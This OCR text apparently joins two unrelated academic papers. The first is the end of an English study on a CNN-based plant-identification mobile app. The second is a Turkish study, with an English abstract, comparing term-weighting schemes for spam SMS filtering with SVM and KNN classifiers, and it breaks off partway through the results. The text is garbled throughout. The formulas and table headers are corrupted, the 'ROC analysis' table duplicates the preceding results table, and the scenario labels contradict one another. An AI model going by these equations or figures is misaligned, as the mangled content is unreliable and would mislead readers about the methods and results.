tested if the curves indicated a negative trend. The scenario with 30 epochs performed best in terms of
both accuracy and loss values. Accuracy rates go beyond 90% in training phase. However, in that case,
the rate of accuracy in testing begins to decrease. Test phase is taken into account for the accuracy rate,
since it can serve as a performance criterion. Training and test accuracy rates for the six scenarios are
given in Fig. 3. Scenario (d) that has 30 epochs has the best curve. In all scenarios, the accuracy level
of the test was higher than the training phase at the beginning. This indeed shows that this dataset can
be trained using low number of epochs.

ROC (Receiver operating characteristic) analysis of the test data is performed for the 6 scenarios and
the results are given in Table IV. Again, the scenario with 30 epochs has the best values. The reason for
the low values is due to the ROC analysis being a method preferred rather in binary classification. Thus,
the values are expected to decrease when used in multiple classification. Table 1V also gives what would
the values be if it was a binary classification.
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Table 3 Results for different scenarios

Epoch | Accuracy A C(\:{ﬁ‘!’:l cy Loss IX;L
10 0.7893 0.7586 0.6487 | 0.7566
15 0.8318 0.7744 0.4982 | 0.5260
20 0.8504 0.7533 0.4436 | 0.5422
25 0.8750 0.7638 0.3739 | 0.4193
30 0.8757 0.7893 0.3562 | 0.3767
40 0.9053 0.7779 0.2833 | 0.3506

Accuracy value is the ratio of correct predictions to all predictions. Precision is the ratio of true positives
to all positives. Thus, a higher precision value means a higher true positive detection capability of the
model. Recall value is the ratio of true positives to all actual positives. F1 score is the weighted average
of precision and recall values. Thus, in ROC analysis, F1-score is more important than the accuracy
value. This again reveals that the best scenario is the fifth one.
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Figure 3 Accuracy values of the scenarios, (a) 10 epoch, (b) 15 epoch, (c) 20 epoch, (d) 25 epoch, (e) 30 epoch,
(f) 40 epoch
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Table 4 ROC analysis results of different scenerios

Epoch | Accuracy A cé/ua:Ia cy Loss IX)%IS
10 0.7893 0.7586 0.6487 | 0.7566

15 0.8318 0.7744 0.4982 | 0.5260
20 0.8504 0.7533 0.4436 | 0.5422

25 0.8750 0.7638 0.3739 | 0.4193
30 0.8757 0.7893 0.3562 | 0.3767
40 0.9053 0.7779 0.2833 | 0.3506

5. Conclusions

Smart systems that make life easier are increasingly becoming widespread in every field. Deep learning
techniques play an important role in designing these smart systems. In this study, a mobile application
is developed that takes photo of a plant and uses CNN to provide information about its name, and its
soil, water, temperature, sun light and nutrition requirements. A quick way of learning a plant’s
requirements would provide convenience in social life. The information is supplied to the user through
the mobile application. The model and the tests reached high accuracy rates. The favorable results
showed that CNN can be successfully used in image processing of this type or of other similar types.
Every new pattern can be supplied to the network as a training input to increase the accuracy rate of the
model. This can be easily achieved with CNN. As a future study, the model can be made more detailed
by adding other plant species or updating it to classify even sub-species under certain species. Inspiring
from this type of studies, useful models can be developed in smart agricultural applications.
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Abstract

Due to rapid development of the technology, the usage of mobile telephones and short message services (SMS)
have become widespread. Thus, the number of spam SMS messages has dramatically increased and the
significance of identifying and filtering of suchlike messages raised. Moreover, since they have also risk to steal
users’ personal information; the problem of identifying and filtering of Spam SMS messages stays popular in terms
of also information and data security. In this study, the classification performances of five different term weighting
methods on three different datasets containing SMS messages categorized as Spam and legitimate are compared
by using two classifiers for corresponding problem. The results obtained showed that reasonable weighting of
SMS contents plays an important role in identifying of spam SMS messages. On the other hand, it can be expressed
that real classification potential of term weighting schemes reflected betterly the with feature vectors created by
using fifty and higher number of terms on especially Turkish and English SMS message datasets. In addition, it
has been observed that value ranges of the classification results of obtained from term weighting methods on
Turkish SMS message dataset is wider for than ones obtained in English SMS message datasets.

Keywords: term weighting, SMS collection, spam SMS detection, information security

Istenmeyen SMS Filtrelemede Terim Agirhiklandirma
Oz

Teknolojideki hizli geligsmeler, mobil telefonlarin sayisini arttirmis ve kisa mesaj hizmetlerinin (SMS) kullanimini
yaygin hale getirmistir. Bu durum, istenmeyen SMS sayilarin1 da dramatik bir bi¢imde arttirmis ve bu tip
mesajlarin belirlenmesi veya filtrelenmesinin 6nemini arttirmistir. Ayrica, kullanicilarin kisisel bilgilerini calma
riski de tasiyabilecekleri i¢in, istenmeyen SMS’lerin filtrelenmesi problemi giiniimiizde bilgi ve veri giivenligi
acisindan da popiilerligini korumaktadir. Bu ¢caligmada, bu probleme yonelik olarak, istenmeyen ve mesru olarak
iki sinifa kategorilendirilmis SMS mesajlarini igeren ii¢ farkli SMS mesaj veri seti iizerinde 5 farkli popiiler terim
agirliklandirma yonteminin siniflandirma performansilari iki popiiler siniflandirici yardimiyla kiyaslanmistir. Elde
edilen sonuglar; istenmeyen SMS belirleme performansinda; SMS iceriklerinin makul bir bicimde
agirliklandirilmasmin énemli bir rol oynadigmi gostermistir. Diger taraftan, dzellikle Tiirkge ve Ingilizce SMS
mesaj verisetleri Uzerinde terim agirliklandirma gsemalarinin sahip olduklar1 potansiyel smniflandirma
performanslarminin elli ve tizeri terim kullanilarak yapilan deneylerde daha iyi yansitilabildigi ifade edilebilir.
Ayrica Tirkge SMS mesaj veri seti ilizerinde terim agirliklandirma yontemlerinden elde edilen siniflandirma
sonuglarmin deger araliklarinin, ingilizce SMS mesaj verisetlerinde elde edilenlere nazaran daha genis oldugu da
gozlenmistir.

Anahtar Kelimeler: terim agirliklandirma, SMS veriseti, istenmeyen SMS filtreleme, bilgi giivenligi

1. Giris

Teknolojinin gelisimindeki basdondiiriicii hiz, diinya ¢apindaki mobil telefon kullanicilarinin iletigim
araci olarak kisa mesaj servislerini (SMS) kullanmaya y6nelik ilgisini her gegen giin arttirmaktadir. Bu
artig, elektronik posta servislerinde oldugu gibi SMS hizmetlerinde de ¢esitli finansal veya kisisel
amagclar tastyan, kullanicilarin genellikle istenmeyen olarak ifade ettigi SMS mesajlarinin sayilarim da
kaginilmaz bir bigimde arttirnustir. Ozellikle son yillarda, mobil telefonlara ulastirilan SMS
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mesajlarinin gogunlugunu, giyim veya gida sektoriine ait ¢esitli magazalarin indirim duyurulari, internet
veya iletisim hizmeti saglayicilarinin yeni tarife/paket bilgilendirmeleri, bankalarin kredi olanaklar ile
ilgili bilgilendirmeleri gibi kullaniciy1 rahatsiz eden tiirde istenmeyen mesajlar olusturmaktadir.
Istenmeyen SMS mesajlarmi bir béliimiinii de mobil telefon kullanicilarinin kisisel verilerini maddi
veya manevi kazang saglamak adina ¢almaya ¢alisan SMS mesajlar1 olusturmaktadir. Mobil cihazlar
kullanict ad, sifre ve kredi kart1 detaylar1 gibi hassas bilgileri icerdiklerinden; kétii niyetli kisiler iletisim
kurmanin en ucuz yollarindan biri olan SMS’i kimlik avi saldirilarini gergeklestirmek igin de
kullanabilmektedir. SMS tabanli kimlik avi (Smishing), kullaniciya yolladigit SMS mesajindaki linki
tiklamasii saglayarak, mobil cihazindaki hassas bilgileri ¢almaya ¢alisan ve giliniimiizde halen
popiilerligini koruyan bir kimlik avi metodudur. Bu tip istenmeyen SMS mesajlarinin filtrelenmesi veya
engellenmesi kullanicilarin mobil telefonlarindaki bilgilerinin ve verilerinin glivenligini garanti altina
alma agisindan énem tagimaktadir.

Giliniimiizde, kullanicilar, kendilerine yollanan istenmeyen SMS mesajlarinin yol ac¢tig1 rahatsizliklar
sahip olduklar1 akilli telefonlarin ¢esitli islevleri araciligiyla tamamen olmasa da kismen
azaltabilmektedir. Bu islevler arasinda SMS mesajlar ile gelen kodlari akilli telefonun mesaj engelleme
fonksiyonunda belirterek benzer koda sahip mesajlarin alinmasma engel olmak ya da siklikla
istenmeyen mesaj yollayan bir kisi veya numaradan gelen mesajlar i¢in bildirimleri gizleyerek
istenmeyen veya bilinmeyen klasoriine diismesini saglamak sayilabilir. Bunlarin diginda kara-liste ve
beyaz-liste adi verilen listeler olusturularak, istenmeyen SMS mesajlarin yollayan goéndericilerin
numaralar1 kara listeye aktarilarak SMS yollamas1 engellenebilmektedir. Veya istenmeyen SMS
mesajlarinda siklikla yer alan anahtar sézciik listeleri olusturularak, gelen mesajlarda bu sozciik veya
sOzciikler mevcutsa s6z konusu SMS mesaji istenmeyen SMS olarak filtrelenmektedir. Her ne kadar
bunlar istenmeyen mesaj filtreleme i¢in bir ¢6ziim olsa da aslinda tek basina yeterli degildir. Ciinkii ayni
kisi veya numaradan yollanan mesajlarin tamami istenmeyen tiirden olmayabilir. Bazen bankamiz
tarafindan yollanan kredi alternatifleri ile ilgili bilgiler iceren ve istenmeyen tiirden gibi goriinen bir
SMS mesaj1 aslinda istenmeyen degil de ilgilenebilecegimiz tiirden bir icerige sahip olabilir. Bu igerik
kullandigimiz banka kart1 i¢in bir sifre veya s6z konusu bankanin mobil uygulamasina giris i¢in tek
kullanimlik bir sifre de olabilir. Boyle bir durumda istenmeyen SMS mesajlarini engellemeye calisirken
mesru olan bir SMS mesajina erisememe problemi soz konusu olacaktir. Ayrica anahtar sézciik
listelerine takilmamak icin gondericiler bu tip sdzciikleri SMS icinde eksik veya yanlis bigimde yazip
filtrelenmekten kurtulabilmektedir. Bunun haricinde, anahtar sézcik listesini sirekli glincellemek de
gerektiginden bu durum sistem daha fazla sistem kaynagi tiilketmek anlamina da gelmektedir. Bu
nedenle s6z konusu SMS mesajlarin iceriklerini daha akilli bir bicimde isleyebilecek,
siniflandirabilecek ve filtreleyebilecek igerik tabanli yontemlere ihtiya¢ duyulmustur.

Literatiirde, istenmeyen e-posta belirlemeye yonelik arastirmalar [1-3] kadar ¢ok sayida olmasa da,
istenmeyen SMS mesajlarini etkin bir bigimde belirlemeye veya filtrelemeye yonelik arastirmalar [4-6]
da son yillarda artis goéstermistir. Bu baglamda, Delany ve arkadaglar1 istenmeyen SMS filtrelemedeki
caligsmalari ve bu alandaki yeni gelismeleri gozden gegirmistir [7]. Hidalgo ve arkadaslari, istenmeyen
e-posta filtreleme i¢in yaygin bir bicimde kullanilan Bayesian filtreleme tekniklerininin istenmeyen
SMS filtreleme igin de etkin bir bi¢imde kullanilabilegini gostermislerdir [8]. Cormack ve arkadaslari,
istenmeyen SMS filtreleme performansinin arttirilmasinin, e-posta filtreleme metotlariin SMS
mesajlarii daha etkin 6znitelik gosterimleriyle uyarlanmasina bagl oldugu hipotezini ¢esitli deneylerle
desteklemistir [9]. Almedia ve arkadaslar1 istenmeyen SMS mesajlar1 iceren genis bir SMS veriseti
iizerinde yaptiklar1 ¢aligmada, ¢esitli makine 6grenmesi yontemlerini karsilastirmis ve Destek Vektor
Makinesi (SVM) yaklagiminin diger yontemlere nazaran istenmeyen SMS filtrelemede daha basarili
oldugunu belirtmislerdir [10]. Nuruzzaman ve arkadaglari, mobil telefon {izerinde ¢alisabilen bir
filtreleme sistemi onermistir [11]. Arastirmacilar, 6nerilen yaklasimin egitim, filtreleme ve glncelleme
stireclerini bagimsiz mobil telefon iizerinde gergeklestirebildigi ve makul dogruluk, minimum bellek
tilketimi ve kabul edilebilir bir islem zamanina sahip oldugunu belirtmislerdir. Junaid ve Farooq,
istenmeyen SMS mesaji i¢eriginde yer alip mesru olan SMS mesaji1 igeriginde yer almayan ayirt edici
ve 0zglin 6znitelikleri belirlemeye odaklanan bir yaklasim gelistirmistir [12]. S6z konusu yaklagimin
gozetimli siniflandiric1 sisteminde séz konusu ayirt edici Oznitelikler islenerek istenmeyen SMS
saptama oraninin %89’un iizerine ulastigini belirtmislerdir. Uysal ve arkadaslari, istenmeyen SMS

240



Sakarya University Journal of Computer and Information Sciences

Turgut Dogan

filtreleme ig¢in Bilgi Kazanci (Information Gain) ve Ki-Kare (Chi-Squared) 6znitelik segim
yontemlerinden faydalanilarak SMS mesajlarimi temsil eden ayirt edici 6znitelikleri iki farkli Bayes
siniflandiricida kullanan bir sema 6nermistir [13]. S6z konusu ¢aligmada, 6nerilen filtreleme semasini
kullanan Android tabanli cep telefonlari i¢in gergek zamanli bir mobil uygulama da tanitilmistir. Yoon
ve arkadaslari, mobil iletisimde istenmeyen SMS filtreleme probleminin ¢6ziimiine yonelik olarak
icerik-tabanli filtreleme yapan ve gondericinin tepkiye cevap zorlugunu sinayan hibrit bir yaklagim
Onermistir [14]. S6z konusu yaklasimda, igerik tabanli filtreleme asamasinda belirsiz olarak
smiflandirilan bir mesaj gondericisine geri yollanarak sinanmakta, hem mesajin istenmeyen mesaj olup
olmadig1 hem de gondericinin otomatik istenmeyen SMS olusturucu olup olmadig1 kontrol edildigi ifade
edilmigtir. Najadat ve arkadaglar1 Kisa Mesaj Servislerinde uygulanan istenmeyen SMS filtrelemesinin
metin siniflandirma yontemlerinden birini kullanmas1 gerektigini belirtikleri arastirmalarinda, 12 farklh
SMS smiflandiricisini incelemis ve en yiiksek dogruluk performansina %98.6 ile SVM siniflandiricinin
ulastig1 belirtilmistir [15]. Shafi’l ve arkadaglar1 spam algilama teknikleri, mobil telefonlarda
istenmeyen SMS mesajlariin filtrelenmesi ve azaltilmasi ile ilgili mevcut olan yontemleri, zorluklar
ve gelecekte ne tiir ¢alismalar yapilabilecegini anlatan bir derleme ¢alismasi gerceklestirmislerdir [4].
Kawade ve arkadaslar1 agik kaynak yazilim Python {izerinde igerik tabanli makine Ogrenmesi
yaklasgimmi kullarak istenmeyen SMS mesajlarini simiflandirdigl ¢alismasinda, istenmeyen SMS
mesajlarmi dogru olarak belirleme oraninin %98 olarak elde edildigini belirtmistir [5]. Lee ve
arkadaglar istenmeyen SMS filtreleme icin derin 6grenme ve kelime gdmme yaklagimlarinmn ikili
siiflandirma i¢in kullanildig1 ¢alismada derin 6grenme yaklasimimin geleneksel SVM algoritmasindan
daha basarilt oldugu vurgulanmustir [16]. Jain ve arkadaslari makine 6grenmesi tekniklerini kullanarak
Smishing SMS mesajlari1 ve istenmeyen SMS mesajlarim belirleyen ve filtreleyen yeni bir yaklasim
Onermigtir [17]. Calismada, Onerilen yaklasimin yapay sinir ag1 siniflandiricida istenmeyen SMS
mesajlarint - %94.9 dogrulukla algilayabildigini, Smishing mesajlarim1 ise %96 dogrulukla
filtreleyebildigi ifade edilmistir.

Bu ¢alismada, iki farkli dile ait SMS mesaj filtreleme basarimi tizerinde literatiirdeki populer terim
agirliklandirma yontemlerinin etkisi arastirilmistir. Bu arastirmanin odak noktasi az sayida oznitelige
sahip olan SMS mesaj verilerinin igeriklerinin metin smiflandirma mekanizmasi ile islenmesi ve gesitli
agirliklandirma yontemleri vasitasiyla agirliklandirilmasinin dogru olarak siniflandiriimasini ne derece
saglayabildigi ve dolayisiyla da istenmeyen SMS mesaj filtrelemeye nasil katki saglayabildigini analiz
etmektir. Bir diger odak noktasi da popiiler terim agirliklandirma semalarinin bu problemin iistesinden
gelme kaabiliyeti agisindan performanslarii gormektir. Caligsmada 3 farkli SMS mesaj veri seti, 5 farkli
terim agirliklandirma semasi ve 2 farkli siniflandirict kullanilarak siniflandirma performanslar1 Makro-
F1 cinsinden hesaplanmis ve ilerleyen boliimlerde degerlendirilmistir.

2. Deneysel Calisma

Deneysel boliimde alt boliimlerde bilgileri detayli olarak verilen 3 farklt SMS mesaj veri koleksiyonu
iizerinde 5 popiiler terim agirliklandirma semasinin istenmeyen SMS siniflandirma performanslar: 2
farkli sniflandirict kullanilarak hesaplanmis ve kiyaslanmustir.

2.1. Veri Setleri

British Ingilizce SMS Mesaj Veriseti (British English SMS Dataset): 425 adet istenmeyen, 450 adet
mesru olmak {izere iki siifa ait SMS mesajlarindan olusan bu veriseti Birmingham {iniversitesinde
gerceklestirilen bir doktora tez ¢aligmasi i¢in olusturulmus olup, eklemeli olmayan bir dil karakteristigi
gosteren Ingilizce icin SMS filtreleme ¢alismalarinda yaygin olarak kullanilmaktadir [11]. Deneysel
boliimde, egitim asamasi i¢in s6z konusu verisetinin %70’1 (612 SMS mesaj1), test asamasi icin ise
%30’u (263 SMS mesaj1) kullanilmstir.

Tlrkce SMS Mesaj Koleksiyonu (Turkish SMS Collection): Sondan eklemeli dillerden Turkce olarak
yazilmig 420 adet istenmeyen ve 430 adet mesru olmak iizere iki sinifa ait toplamda 850 adet SMS
mesajindan olusan bu veriseti, SMS filtreleme ¢alisamalarinin farkli yapiya sahip dillerdeki basarisini
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analiz etmek i¢in olusturulmustur [18]. 595 SMS mesajinin egitim i¢in, 255 SMS mesajinin ise test i¢in
kullanildigi bu verisetinde de egitim ve test i¢in kullanilan mesaj yiizdeleri sirastyla %70 ve %30’dur.

Ingilizce SMS Mesaj Koleksiyonu (English SMS Collection): ingilizce igin bir baska SMS mesaj veri
seti olan bu koleksiyonda 4827 mesru ve 747 istenmeyen SMS mesaji mevcuttur [13]. Toplamda
5500°den fazla SMS mesaj1 iceren bu setin segilmesinin sebebi, terim agirliklandirma semalarinin
dengesiz yapidaki verisetlerindeki SMS smiflandirma basarimlarini da analiz edebilmektir. Bu veriseti
i¢in ise deneysel kisimda 3900 SMS mesaji1 egitim i¢in, 1674 SMS mesaj1 ise test i¢in kullanilmugtir.

2.2. On Isleme ve Oznitelik Secimi

On isleme asamasinda ii¢ veri setinden de ¢ikarilan dznitelikler, sirastyla dizgelere ayrilmus, kiiciik harfe

doniistliriilmiis, i¢lerinden her dokiimanda siklikla gegme ihtimali olan “ve”, “veya” gibi durak terimler
¢ikarilmis ve son olarak koklerine indirgenmistir.

Yukarida belirtilen 6n islemlerden gegirildikten sonra elde edilen 6znitelikler arasindan tekrar tekrar
gecenler filtrelenerek, kelime cantasi yaklasiminda her 6zniteligin yalmzca bir defa temsil edilmesi
saglanmistir. British Ingilizce, Tiirkce ve Ingilizce SMS mesaj verisetleri i¢in ¢ikarilan benzersiz
oznitelik sayilar1 sirastyla 1829, 2142 ve 5172’dir. Oznitelik secim siirecinde ise, metin siniflandirma
calismalarinda yaygin olarak kullanilan istatistiksel bir yontem olan Ki-Kare (Chi-Squared) 6znitelik
se¢im yontemi kullanilmistir [19]. Calismada Ki-Kare 6znitelik se¢im yontemini kullanmaktaki amag,
simiflandirma basariminin 6znitelik boyutu ile ilgisini detayli bir bigimde analiz etmektir. British
Ingilizce SMS, Tiirkge SMS ve Ingilizce SMS mesaj koleksiyonlar1 igin sirastyla 10 ile 1500, 10 ile
2000 ve 10 ile 3000 arasinda 6znitelik ile istenmeyen SMS siniflandirma deneyleri gerceklestirilmistir.

2.3. Oznitelik/Terim Agirliklandirma

Terim agirliklandirma, metin smiflandirma siirecinde metin  dokiimanlar1 ile igerdikleri
Oznitelikler/terimler arasindaki iligkilerin birtakim terim agirliklandirma yontemleri araciligiyla
hesaplandig1 ve ¢ogunlukla kelime cantasi yaklagimi kullanilarak sayisal hale doniistiiriildiigii siire¢
olarak ifade edilebilir. Bu ¢alismada, dokiimanlar SMS mesajlar1 oldugundan, secilen terimlerin ilgili
SMS mesajlariin kategorisini ayirt etme derecelerini gosteren agirlik degerleri tek tek hesaplanmistir.
Agirlik hesabi i¢in bes farkli terim agirliklandirma yontemi kullanilmis olup, asagida her bir yontemin
agirliklandirma stratejisinden ve formiiliinden bahsedilmistir.

TF-IDF (Terim Frekans1 & Ters Dokiiman Frekansi, Term Frequency & Inverse Document
Frequency): TF-IDF, en temel ve popiiler terim agirliklandirma yontemlerinden biridir. Terimlerin her
bir dokiimandaki Terim Frekansi (TF) degerleri ile tiim koleksiyondaki Ters Dokiiman Frekansi (IDF)
degerlerinin carpimina dayanir [20]. TF-IDF yontemine gore, tiim koleksiyonda diger terimlere gore
daha az dokiimanda/mesajda gegen herhangi bir terim, digerlerine gore daha yiiksek IDF degerine
sahiptir. Dolayisiyla, s6z konusu terim esit terim frekansina sahip diger terimlere nazaran daha yiiksek
TF-IDF skoru ile agirliklandirtlir. TF-IDF terim agirliklandirma semasi ile herhangi bir ti teriminin
agirlik hesabi Esitlik-1"deki gibidir.

Weo o (6)=TF(, mk)*log(%) )

Esitlikte yer alan M ifadesi SMS koleksiyonunda yer alan toplam SMS sayisini, m(ti) ise t; teriminin
gectigi toplam SMS mesaj1 sayisin gostermektedir. Ayrica diger terim agirliklandirma yontemlerinin
de agirliklandirma formiiliinde yer alan TF(t,my) ifadesi, ti teriminin k nolu m mesajindaki frekansini
temsil etmektedir.

TF-PB (Olasihk Dagilimlarina Bagh Terim Agirhiklandirma, Term Weighting based on
Probability Distributions): TF-PB, terim agrliklarim1 hesaplarken ikili (binary) simiflandirma
yaklasimini esas alan iki farkli oranin ¢arpimina dayanir [21]. Bu oranlardan biri terimin siniflar-arasi
dagilimm digeri ise siuf-igi dagilimmm ifade etmektedir. Ikili siniflandirma yaklasiminda, bir t;
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teriminin yer aldig1 pozitif ve negatif siniflara (C;) ait SM'S mesaj1 sayilari sirasiyla ajj ve cij, s6z konusu
ti teriminin yer almadig pozitif ve negatif siniflara ait SMS mesaj1 sayilari ise sirasiyla bj; ve djj ile ifade
ettigimizi varsayalim. Boyle bir durumda, TF-PB ile terim agirliklandirma formiilii Esitlik-2"deki hali
alir.

c a. a.
— * i %)
= by ¢,
Esitlikte yer alan C ifadesi toplam sinif sayisini, max ifadesi ise, agirlik atamasi yapilirken pozitif ve
negatif sinif i¢in hesaplanan parantez igindeki agirlik degerlerinden maksimum olaninin baz alinacagini
ifade etmektedir.

TF-DFS (Terim Frekanst & Ayirt Edici Oznitelik Secici, Term Frequency & Distinguishing
Feature Selector): DFS, ayirt edici 6zniteliklerin bulunmasi i¢in dnerilmis olan olasiliksal bir 6znitelik
secim yontemidir [22]. Bu yontemin TF-DFS adiyla terim agirliklandirmaya ilk uyarlanisi; terim frekans
faktoriiniin ¢esitli terim agirliklandirma semalarimin siniflandirma performanslaria etkisinin analiz
edildigi calisma ile gerceklesmistir. S6z konusu calismada TF-DFS ¢ogu terim agirliklandirma
semasindan daha tstiin bir performans sergilemistir. Bir t; terimin TF-DFS ile agirliklandirma hesabi

asagidaki esitlikteki gibi gergeklestirilir.
aij
W aij + Cij

TF—DFS(t) TFt mk)*z c )
(e
a +h c. +d

TF-RF (ilgi Frekansina Bagh Terim Agirhklandirma, Term Weighting based on Relevance
Factor): TF-RF ile terim agirliklandirma siireci, terimin siniflar arasi dagilimima odaklidir [23]. Bu da
ikili smiflandirma yaklasiminda s6z konusu terimin gegtigi pozitif ve negatif siiflara ait SMS
mesajlarmin oranina (&;/Cij) dayanmaktadir. TF-RF ile terim agirlig1 hesaplama islemi agagidaki formiile
gore gergeklestirilir

a,
Wi ge () = TF(t,,mk)*max log 2+m (4)

Esitligin paydasinda yer alan max ifadesi Cjj degerinin sifir olmast durumunda sifira b6lme durumundan
kacinmak igin yer almaktadir. Baska bir deyisle, eger Cjj sifira esit oldugunda, payda 1 olarak kabul
edilecektir.

TF-IGM (Terim Frekans1 & Ters Yercekimi Momenti, Term Frequency & Inverse Gravity
Moment): TF-IGM, Ters Yercekimi Momentine dayali olarak agirliklandirma yapan yakin zamanda
terim agirliklandirma i¢in Onerilmis istatistiksel bir modeldir [24]. Agirlik hesabini ikili siniflandirma
yaklasimiyla degil, coklu-siniflandirma yaklagimiyla gergeklestirir. Yani herhangi bir terimin agirligina,
her bir siniftaki dokiiman frekanslar1 hesaba katilarak tek seferde global olarak ulasilir. TF-IGM ile
terim agirliklandirma formiilizasyonu asagida yer alan Esitlik-5’teki gibidir.

IGM (t;)

f.
Wi (em@) =TF{t, m)™| 1+ A% —21— )

> f*r
r=1
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Esitlikte yer alan fi, ifadesi, ti teriminin r sirasiyla biiyiikten kii¢lige siralanmus vaziyette olmak tizere
pozitif ve negatif siniflardaki dokiiman frekanslarimi ifade etmektedir. Bu ¢aligmadaki veri setlerinde
toplamda 2 smif bulundugundan r degeri 1 ve 2 olarak payda kisminda hesaplamalara dahil olmustur. A
ifadesi ise verisetinin dengeli veya dengesiz bir yapiya sahip olma durumu i¢in formiilde yer alan, 5.0-
9.0 deger araligina sahip olan ve varsayilan degeri 7.0 olarak belirlenmis ayarlanabilir bir katsayiy1
temsil etmektedir.

2.4. Simflandirma ve Degerlendirme

Bu ¢alismada, siniflandirma siirecinde igerik siniflandirma agisindan yaygin olarak tercih edilen Destek
Vektor Makineleri (SVM) ve K-En Yakin Komsu (KNN) smiflandiricilart kullanilmistir. SVM
simiflandirict dogrusal veya dogrusal olmayan bir hiperdiizlem olusturarak pozitif ornekleri negatif
orneklerden ayirmak igin karar sinirini belirleyen, hem ikili hem de ¢ok-sinifli siniflandirmaya uygun
popiiler bir makine 6grenmesi algoritmasidir [25]. SVM c¢ok yiiksek boyutlu siniflandirma ¢aligmalari
icin dahi tutarli bir bi¢imde siniflandirma yapabilme kabiliyetine sahiptir. KNN siniflandirict ise
nispeten daha basit bir ¢alisma yapisina sahip olan ve siniflandirma problemlerinde yaygin olarak
kullanilan bir siniflandirma algoritmasidir [25]. Algoritmasi, en basit anlatimiyla test asamasinda gelen
herhangi bir SMS mesajinmin simifim1 belirlerken, kendisine en benzer k adet komsusunun sinifin1 baz
almaktadir ve hangi smif daha cogunlukta ise, s6z konusu test mesaj1 o sinifa atanir. Deneysel boliimde
SVM siniflandirict varsayilan parametrelerle ¢alistirilmis olup, ¢ok-sinifli siniflandirmay1 destekleyen
LibSVM paketi kullanilarak deneyler gergeklestirilmistir [26]. KNN siniflandirici i¢in en iyi
siniflandirma performansimni veren k degerleri dataset bazinda belirlenmis ve deneysel sonuglar
boliimiinde gosterilmistir.

Simiflandirma sonuglarinin degerlendirilmesinde literatiirde yaygin olarak kullanilan degerlendirme
metrigi Makro-F1 olglim metrigi tercih edilmistir. Makro-F1 6lgiitii  Esitlik-6’daki  gibi
hesaplanmaktadir.

C

2R
2* *
Macro—-F, = kt F T p: rrk
k k

Esitlikteki pk Ve r ifadeleleri sirasiyla, k.nct sinif i¢in kesinlik (precision), hatirlama (recall) degerlerini
ifade etmektedir. Bu ¢alismada toplamda iki siif yer aldigindan, formiildeki C degeri 2’dir. S6z konusu
px Ve r¢ degerleri ise agagidaki gibi hesaplanmaktadir.

P, __1p,
M“tp, + fn, )

(6)

P p,+ fp,
Esitlik-7’de yer alan tpx ifadesi, gergekte k simifina ait olan ve dogru olarak siniflandirilmig mesaj
sayisini, fp« gercekte k sinifina ait olan ve yanlis olarak siniflandirilmis mesaj sayisini, son olarak fny
ise gerceke k sinifina ait olmadigi halde yanlis olarak siniflandirilmis mesaj sayisini ifade etmektedir.
Makro-F1 olgiitiinde koleksiyon igerisinde yer alan her smnif i¢in F 6l¢limii gergeklestirilip ortalamasi
almmaktadir. Bu nedenle dengesiz metin veya SMS koleksiyonlarinin yer aldigi smiflandirma
problemlerinde bagarim 6l¢iimii i¢in daha adil bir se¢im olarak nitelendirilebilir.

3. Deneysel Sonuclar

3.1. British Ingilizce SMS Mesaj Veriseti Uzerindeki Simiflandirma Sonuclar

British Ingilizce SMS Mesaj veriseti iizerinde toplamda 5 farkli terim agirliklandirma y&nteminden
KNN ve SVM smiflandiricilar kullanilarak elde edilen Makro-F; sonuglar1 Tablo 1 ve Tablo 2°de
sirastyla verilmistir. Tablolarda, ilgili siiflandirici i¢in s6z konusu terim agirliklandirma semalarindan
elde edilen en ylksek Makro-F1 degeri kalin bigimde ifade edilmistir.
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Tablo 1 British Ingilizce SMS Mesaj Verisetinde KNN (k=3) Smiflandirici ile Elde Edilen Makro-F; Sonuglar
Oznitelik | TF-IDF | TF-PB | TF-DFS | TF-RF | TF-IGM

Sayis1
10 90.84 88.49 90.84 88.49 90.84
50 93.91 88.17 93.53 88.17 93.91
100 94.29 87.43 93.14 87.43 94.29
300 90.49 87.41 93.53 87.80 93.53
500 92.00 87.02 93.53 87.42 94.67

1000 91.60 84.69 92.38 85.13 93.14
1500 90.87 84.69 92.01 85.13 91.63

Tablo 2 British Ingilizce SMS Mesaj Verisetinde SVM Siniflandirici ile Elde Edilen Makro-F; Sonuglar
Oznitelik | TF-IDF | TF-PB | TF-DFS | TF-RF | TF-IGM

Sayis1

10 89.65 86.07 | 88.87 86.87 | 90.04
50 93,51 86.07 | 90.79 87.66 | 91.97
100 93.88 86.07 | 92.73 88.45 |90.84
300 90.44 86.07 | 94.64 89.27 |91.97
500 91.58 86.07 | 94.26 87.68 | 92.35
1000 90.78 86.07 | 93.48 88.45 |93.49
1500 91.55 86.07 | 92.70 88.45 | 93.09

Tablolar incelendiginde, British Ingilizce SMS Mesaj veriseti iizerinde TF-IGM, TF-DFS ve TF-IDF
terim agirliklandirma yoéntemlerinin her iki siniflandirici ile de diger yontemlerden nispeten daha tistiin
performans sergiledigini sdylemek miinkiindiir. KNN siniflandirici i¢in en yiiksek siniflandirma degeri
TF-IGM ile SVM igin ise TF-DFS ile elde edilmistir. Genel olarak, TF-RF ile TF-PB’nin siniflandirma
performanslari her iki siniflandirict lizerinde de diger semalara nazaran daha diisiiktiir. Ayrica TF-PB
terim agirliklandirma semasinin SVM siniflandiricidaki performansi tiim 6znitelik boyutlarinda da
degisim gostermemistir. Bunun sebebi icin, siniflandirma islevlerindeki boyut artisindan SVM
siniflandiricinin KNN smiflandirictya nazaran daha az etkilenmesinden kaynakli oldugu yorumu
yapilabilir. Ayrica bu verisetinde iizerinde elde edilen tiim siniflandirma performanslari yaklagik % 84-
94 bandinda elde edilmistir.

3.2. Tiirkce SMS Mesaj Veriseti Uzerindeki Siniflandirma Sonugclar

Tlrkge SMS Mesaj veriseti lizerinde toplamda 5 farkli terim agirliklandirma yonteminden KNN ve
SVM smiflandiricilar kullanilarak elde edilen Makro-Fi sonuglari Tablo 3 ve Tablo 4’te sirasiyla
verilmistir,

Tablo 3 Tiirkce SMS Mesaj Verisetinde KNN (k=1) Siniflandirici ile Elde Edilen Makro-F; Sonuglar:

Oznitelik | TF-IDF | TF-PB | TF-DFS | TF-RF | TF-IGM
Sayisi

10 89.40 79.26 | 89.40 79.26 | 89.40
50 94.11 85.83 | 93.72 85.03 | 93.32
100 95.69 86.63 | 93.72 86.22 | 94.11
300 93.72 89.39 | 94.11 90.17 | 95.29
500 92.15 89.39 | 94.51 90.17 | 93.73
1000 90.98 91.36 | 90.98 90.95 | 92.55
1500 89.02 91.36 | 91.76 90.95 | 92.55
2000 91.37 91.36 | 92.94 90.95 | 94.12

